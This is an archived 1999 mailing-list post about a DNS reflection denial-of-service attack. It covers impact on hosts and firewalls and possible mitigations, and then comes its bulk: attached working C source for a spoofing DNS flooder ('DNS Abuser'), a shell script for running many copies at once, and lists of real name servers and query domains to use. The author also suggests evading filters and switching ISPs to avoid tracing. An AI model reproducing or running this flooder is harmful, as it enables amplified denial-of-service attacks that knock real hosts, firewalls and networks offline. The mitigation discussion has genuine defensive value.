The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


Possible Denial Of Service using DNS


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Tue, 10 Aug 1999 17:59:57 +0200
From: Carlos Veira <[email protected]>
To: [email protected]
Subject: Possible Denial Of Service using DNS

This is a multi-part message in MIME format.

------=_NextPart_000_0018_01BEE35A.297221E0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi,

I must admit that I have been really surprised seeing people's
'reaction'
on this particular matter. We are used to see really good debates when
something 'c00l' comes up to the scene... But this time, nothing: no
code review, no debate about possible solutions, ... :?.

FuSyS & sacco's message, was very interesting indeed. I, honestly,
don't
know if this has been known for a long time, despite its simplicity...
But what really matters is that this is a very hard to close gate...

Looking at the code i realized it was not very useful for auditing
purposes, so I decided to add some functionality and fix some
implementation problems which made the source compile but failing to
work nicely.




I. Description:
===============

This is a quick list of what has been added/modified to the original
code:

 1. Ability of managing a variable and different number of name
servers
    and querys.
 2. Ability of taking input data from text files.
 3. Added some fixes to the flood engine.
 4. Ability of controlling the times to be executed.
 5. Added some 'paralell processing' features.

There still remain some things to be improved, but they are far long
from
my original aims when I started this work. I might suggest the
following
enhancements:

It's somehow necessary to add some simple memory management. The
current
version works with a buffer which can manage MAX_SEVERS entries. There
are no memory management at all. That means that, when reading a file,
only the first MAX_SERVERS are considered. If we want to extend this
to
larger files this is to be added.

Another improvement would be to enhance the hash function in order to
get a
more uniform statistic distribution. This would carry out a better
'paralell' performance.

This 'paralell' feature trys to query different name servers with
different
questions at the same time. Such a thing would avoid some lame filters
and
make the attack more distributable among the whole DNS servers.

To work out this feature, the flooder begins in a different point
depending
on its PID. Given this situation, one can fork diferent processes from
de
command line and each of them will perform a different action in a
certain
moment. Of course more complex and efficient solutions could be worked
out,
but, once again, they are far long from my initial aims.

As it can be watched, such attack can be as powerful (or even better)
as
smurf or fraggle. Think this is more flexible and owns a grater degree
of
distribution. Let's put some evil imagination in motion... ;P




II. Impact:
===========

First of all, some notes:

  1. We are talking about UDP traffic. That means that there's no
     connection.
  2. We also must consider that the victim will recive packets with
     different
     sources (IPs and ports).
  3. We must remember that DNS is a critical service in the Internet:
     almost every service depend on it in a different degree.
  4. DNS can be reached from any place on the Internet: there is no
     restriction.

Let's consider a couple of scenarios. If the target is not shielded by
a
firewall, the effect of this attack is obvious: the host is flooded to
dead. So, what happend in a filtered environment? If the firewall uses
content inspection techniques, should drop all this traffic (these are
valid answers but no query has been performed on the protected
network).

In this case, the affected host will be the firewall. This is even
more
worrying than the first case because firewalls are esential devices on
network conectivity. If the firewall fails, all the network fails
(from
a conectivity point of view, of course).

We must remember that a firewall is more vulnerable to this kind of
overloads. To the *physical* traffic flooding itself, we have to add
the following :

  a. A firewall must perform a rule check for each I/O traffic. That
means
     some load.
  b. The logging process on the firewall means added load, mainly I/O
load
     through disk.

An encreasing number of DNS servers means a proportional raise on the
distribution degree this attack has. So, to bring a big firewall to
its
knees we only need to take a grate list of DNS servers.

The obvious side effect of such situation is a traffic overload on the
network segments on the way to the target. Using network switches
would
help to limit this annoying side effect.



III. Possible solutions:

a. Source IP filtering & Bandwith control: --------------------------------------- a.1 Source IP filtering: This may be one the most effective measures. By giving this type of rule to routers, we *limit* the IP spoofing possibilities: such rule would only allow traffic to pass over a network interface if the source IP belongs to a valid range on that interface. a.2 Bandwith control: Giving an I/O rate to DNS traffic could *help* too. This would stop a flood based on a few DNS servers been queried intensively. Nevertheless, it is not very useful to the target network when hitted by a highly distributed DNS flood. The reasons are the same ones given in the case of the firewall. In this case the damaged system would be the router itself. a.3 Problems: Source IP filtering it's great but it needs to be implemented on every routing device on the Internet. If there's a place wich allows IP spoofing, the risk remains there. Unfortunately, IP filtering could not be necessary on some cases. Let's see: besides the flooding effect, we get a global network overload. If we also consider that today it's pretty common having more than one PPP Internet access... So, we've got it... So it seems easy to log into an ISP perform the attack using a valid ISP IP as the source, then disconnect and log in again with other ISP while the other is being nuked by thousands of DNS servers on the Internet... The success on the choice of the valid ISP IP address depends on the ISP network architecture and its *internal* filters. b. DNS over TCP: ------------- This may be *THE* solution. TCP architecture would make 'impossible' to achieve a successful query to a DNS server. Let's see: 1. A connection is to be completed in order to perform a query. 2. There exists connection control. On the 'best' case the target would be SYN+ACK flooded by thousands of name servers on the Internet. But now we are not *amplifying* the traffic because no query response is given at all. But, is this a real possibility? Well reading the RFCs, the answer is "YES, BUT...". Let's see: * RFC1034 ("DOMAIN NAMES - CONCEPTS AND FACILITIES") says: "In the Internet, queries are carried in UDP datagrams or over TCP connections." * RFC1035 ("DOMAIN NAMES - IMPLEMENTATION AND SPECIFICATION") says: "The DNS assumes that messages will be transmitted as datagrams or in a byte stream carried by a virtual circuit. While virtual circuits can be used for any DNS activity, datagrams are preferred for queries due to their lower overhead and better performance. Zone refresh activities must use virtual circuits because of the need for reliable transfer." So it seems that DNS querys can use TCP. BUT what we need is the server FORCING the use of TCP. It *seems* we could force this by editing the file "/etc/services" and commenting or deleting the UDP entry: whois 43/tcp nicname # usually to sri-nic domain 53/tcp > #domain 53/udp mtp 57/tcp # deprecated This way, both the *local* name server and *local* resolver would use TCP on its domain name related tasks... This means that *local* querys would work over TCP. The problem comes up, when an standard remote client querys a 'TCP-forced' system. What happens when such a client starts an UDP query to a TCP service? Is it able to detect it and restart the process using TCP? Unfortunately, I could not found any kind of information on this matter. It seems to me that this is an unspecified case. It seems that UDP & TCP are treated as separete worlds... I think that, in the best case, this will depend on vendor implementation, and not as an standard behaviour. b.1 Problems: Carrying DNS completely over TCP has serious load and performance problems. They are important enough to consider them with the suitable calm. Besides that, we have de UDP/TCP interoperation problem mentioned before. This would imply reconfiguring or patching all the DNS servers *and clients* in the world, among other things... So it 'seems' that it is not practical approach. ;P Perhaps, It may be interesting a review or a new generation of the standard. I, honestly, ignore if this it's being done. Anyway, given what we have today it's *the* long term solution, isn't it? ;P. In the meanwhile, we are vulnerable: the open systems world, not always is perfect... ;P
Carlos Veira Lorenzo -=o0o0o=- Servicios Internet Airtel MСvil S.A.
-----BEGIN PGP SIGNATURE----- Version: PGP 6.0.2 iQA/AwUBN7A+aEj/CaVXSZKlEQKIOACdF74Y7bo4BSrEL6Fw9z+EMwEziSgAnRpu QlIZlBhOGgaz/TnUFTn/PzHn =qc06 -----END PGP SIGNATURE----- ------=_NextPart_000_0018_01BEE35A.297221E0 Content-Type: application/octet-stream; name="dnsabuser.c" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="dnsabuser.c" /* * DNS Abuser v0.4b * * Author: Nemo ([email protected]) * http://www.deepzone.org * * This code is a little enhancement based on DOOMDNS by FuSyS & = |scacco| * http://www.www.s0ftpj.org * * Usage: dnsa <target> * dnsa <target> <times> [<dns_servers.txt> <querys.txt>] * */ =20 #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <arpa/nameser.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <netdb.h> #include <time.h> #define IP_HEAD_BASE 20 #define UDP_HEAD_BASE 8 #define DEF_TIMES 1000 #define DNS_QSIZE 255 #define MAX_QUERYS 25 // maximum buffer size #define MAX_SERVERS 25 // maximum buffer size #define CNAME_LENGTH 255 // max CNAME length #define DEF_DOMAINS "./domains.txt" // domain list file #define DEF_QUERYS "./querys.txt" // query list file struct DNS_MSG { HEADER head; char query[DNS_QSIZE]; }; struct dns_pkt { struct iphdr ip; struct udphdr udp; char data[1000]; }; struct domain_buff { int used; char cname[CNAME_LENGTH]; }; typedef struct domain_buff tdbuff; tdbuff dnsquery[MAX_QUERYS]; tdbuff domains[MAX_SERVERS]; unsigned long saddr; int sd, dptr, qptr; // socket & array pointers FILE *dd, *qd; // file pointers int startptr(tdbuff *buff, int buff_limit) // hash function { int init =3D 0; =20 init =3D getpid() % buff_limit; =20 while (!buff[init].used) { if (++init > buff_limit) init =3D 0; } =20 return init; } void rst_buff(tdbuff *b, int max) { memset(b, 0, sizeof(tdbuff)*max); } void readln(FILE *f, tdbuff *buff) { int eol =3D 0, i =3D 0; tdbuff b; =20 rst_buff(&b, 1); do { b.cname[i] =3D fgetc(f); =20 if (!ferror(f)) { if (!feof(f)) { =09 if (b.cname[i] =3D=3D '\n') { b.cname[i] =3D '\0'; b.used =3D 1; eol =3D 1; } else if ((i+1) >=3D CNAME_LENGTH) { fprintf(stderr, "\nInvalid CNAME or invalid file format. = Quitting...\n"); exit(7); } else { i++; } } else { if (b.cname[i] =3D=3D '\n') { b.cname[i] =3D '\0'; b.used =3D 1; } =20 } } else { fprintf(stderr, "\nRead error. Quitting...\n"); exit(6); } } while ((!ferror(f) && !feof(f)) && !eol); =20 if (!ferror(f) && !feof(f)) *buff =3D b; } unsigned long nameResolve(char *hostname) { struct in_addr addr; struct hostent *hostEnt; if ((inet_aton(hostname, &addr)) =3D=3D 0)=20 { if (!(hostEnt=3Dgethostbyname(hostname))) { fprintf(stderr,"\nTarget '%s' does not exist\n",hostname); exit(0); } bcopy(hostEnt->h_name,(char *)&addr.s_addr,hostEnt->h_length); } return addr.s_addr; } void forge (unsigned long daddr, unsigned short psrc, unsigned short = pdst) { struct sockaddr_in sin; struct dns_pkt dpk; struct DNS_MSG killer; int shoot, len; // adjust pointer ... if (qptr < MAX_QUERYS) { if(!dnsquery[dptr].used) qptr++; } else { qptr =3D 0; } dnsquery[qptr].used =3D 1; =20 // build packets ... memset(&killer, 0, sizeof(killer)); =09 killer.head.id =3D getpid(); killer.head.rd =3D 1; killer.head.aa =3D 0; killer.head.opcode =3D QUERY; killer.head.qr =3D 0; killer.head.qdcount =3D htons(1); killer.head.ancount =3D htons(0); killer.head.nscount =3D htons(0); killer.head.arcount =3D htons(0); strcat(killer.query, dnsquery[qptr].cname); killer.query[strlen(dnsquery[qptr].cname) + 2] =3D 0x00FF; killer.query[strlen(dnsquery[qptr].cname) + 4] =3D 0x0001; memset(&dpk, 0, sizeof(dpk)); dpk.udp.source =3D psrc; dpk.udp.dest =3D pdst; len =3D (12 + strlen(killer.query) + 5); dpk.udp.len =3D htons(UDP_HEAD_BASE + len); memcpy(dpk.data, (void*)&killer, len); dpk.ip.ihl =3D 5; dpk.ip.version =3D 4; dpk.ip.tos =3D 0; dpk.ip.tot_len =3D htons(IP_HEAD_BASE+UDP_HEAD_BASE+len); dpk.ip.frag_off =3D 0; dpk.ip.ttl =3D 64; dpk.ip.protocol =3D IPPROTO_UDP; dpk.ip.saddr =3D saddr; dpk.ip.daddr =3D daddr; memset(&sin, 0, sizeof(sin)); =09 sin.sin_family =3D AF_INET; sin.sin_port =3D pdst; sin.sin_addr.s_addr =3D daddr; shoot =3D sendto(sd , &dpk , (IP_HEAD_BASE + UDP_HEAD_BASE + len), 0 , (struct sockaddr *)&sin , sizeof(sin) ); =20 if (shoot < 0) fprintf(stderr, "SPOOF ERROR"); } void doomzone (void) { unsigned long daddr; unsigned short psrc, pdest; =20 // adjust pointer ... =20 if (dptr < MAX_SERVERS) { if(!domains[dptr].used) dptr++; } else { dptr =3D 0; } domains[dptr].used =3D 1; =20 daddr =3D nameResolve(domains[dptr].cname); =09 psrc =3D htons(1024 + (rand()%2000)); pdest =3D htons(53); =09 forge(daddr, psrc, pdest); } int main (int argc, char *argv[]) { int i, sd_opt, code; unsigned int times =3D DEF_TIMES; printf("\n\n\033[1;32mDNS Abuser v0.4b\033[0m"); printf("\n\033[1;34mDNS-based flooder by Nemo - = http://www.deepzone.org\033[0m"); printf("\n\033[1;34mBased on FuSyS & |scacco| work: D00MDNS - = http://www.s0ftpj.org\033[0m\n"); =09 =09 // ->simple<- parameter checking :P if (argc < 2) { fprintf(stderr, "\nUsage: %s <target>", argv[0]); fprintf(stderr, "\n %s <target> <times> [<dns_servers.txt> = <querys.txt>]\n\n", argv[0]); exit(0); } saddr =3D nameResolve(argv[1]); if (argc > 2) times =3D atoi(argv[2]); =20 // loading files if (argc > 3) { if ((dd =3D fopen(argv[4], "r")) =3D=3D NULL) { fprintf(stderr, "\nCannot open domain file. Quitting...\n"); exit(4); } =20 if ((qd =3D fopen(argv[5], "r")) =3D=3D NULL) { fprintf(stderr, "\nCannot open query file. Quitting...\n"); exit(5); } } else { if((dd =3D fopen(DEF_DOMAINS, "r")) =3D=3D NULL) { fprintf(stderr, "\nCannot open domain file. Quitting...\n"); exit(4); } =20 if((qd =3D fopen(DEF_QUERYS, "r")) =3D=3D NULL) { fprintf(stderr, "\nCannot open query file. Quitting...\n"); exit(5); } } rst_buff(domains, MAX_SERVERS); rst_buff(dnsquery, MAX_QUERYS); =20 i =3D 0; do { readln(dd, &domains[i]); i++; } while ((i < MAX_SERVERS) && !feof(dd)); i =3D 0; do { readln(qd, &dnsquery[i]); i++; } while ((i < MAX_QUERYS) && !feof(qd)); =20 =20 // opening sockets ... srand(time(NULL)); sd_opt =3D 1; =20 if ((sd =3D socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { fprintf(stderr, "\nSocket error. Quitting...\n"); exit(2); } =20 if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, &sd_opt, sizeof(sd_opt)) < = 0) { fprintf(stderr, "\nIP Error. Quitting...\n"); exit(3); } =20 dptr =3D startptr(domains, MAX_SERVERS); qptr =3D startptr(dnsquery, MAX_QUERYS); =09 // flooding engine printf("\n\033[1;34mFlooding %s:\033[0m\n", argv[1]); while(times--) { doomzone(); printf("\033[1;34m.\033[0m"); } =09 printf("\n\n"); =20 fclose(dd); fclose(qd); =20 return(0); } ------=_NextPart_000_0018_01BEE35A.297221E0 Content-Type: application/octet-stream; name="xn.sh" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="xn.sh" #!/bin/bash # # xNuke v0.1b - *nix DoS amplifier # # Author: Nemo ([email protected]) # DeepZone Digital Security - http://www.deepzone.org # # Usage: xn <instances> <app> <target> [other_parameters] # echo echo "xNuke v0.1b - *nix DoS amplifier." echo n=$1 while [ -n "$n" ]; do $2 $3 $4 $5 $6 > /dev/null & n=n-1 done ------=_NextPart_000_0018_01BEE35A.297221E0 Content-Type: text/plain; name="querys.txt" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="querys.txt" www.microsoft.com www.novell.com www.nrg.be www.ldg.be www.mir.es www.hispasec.com www.securityfocus.com www.geocities.com www.tripod.com www.hypermart.net ------=_NextPart_000_0018_01BEE35A.297221E0 Content-Type: text/plain; name="domains.txt" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="domains.txt" ns1.allinfosys.com ns2.allinfosys.com ns.uu.net dns.ncsa.es dns2.ncsa.es ------=_NextPart_000_0018_01BEE35A.297221E0--

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру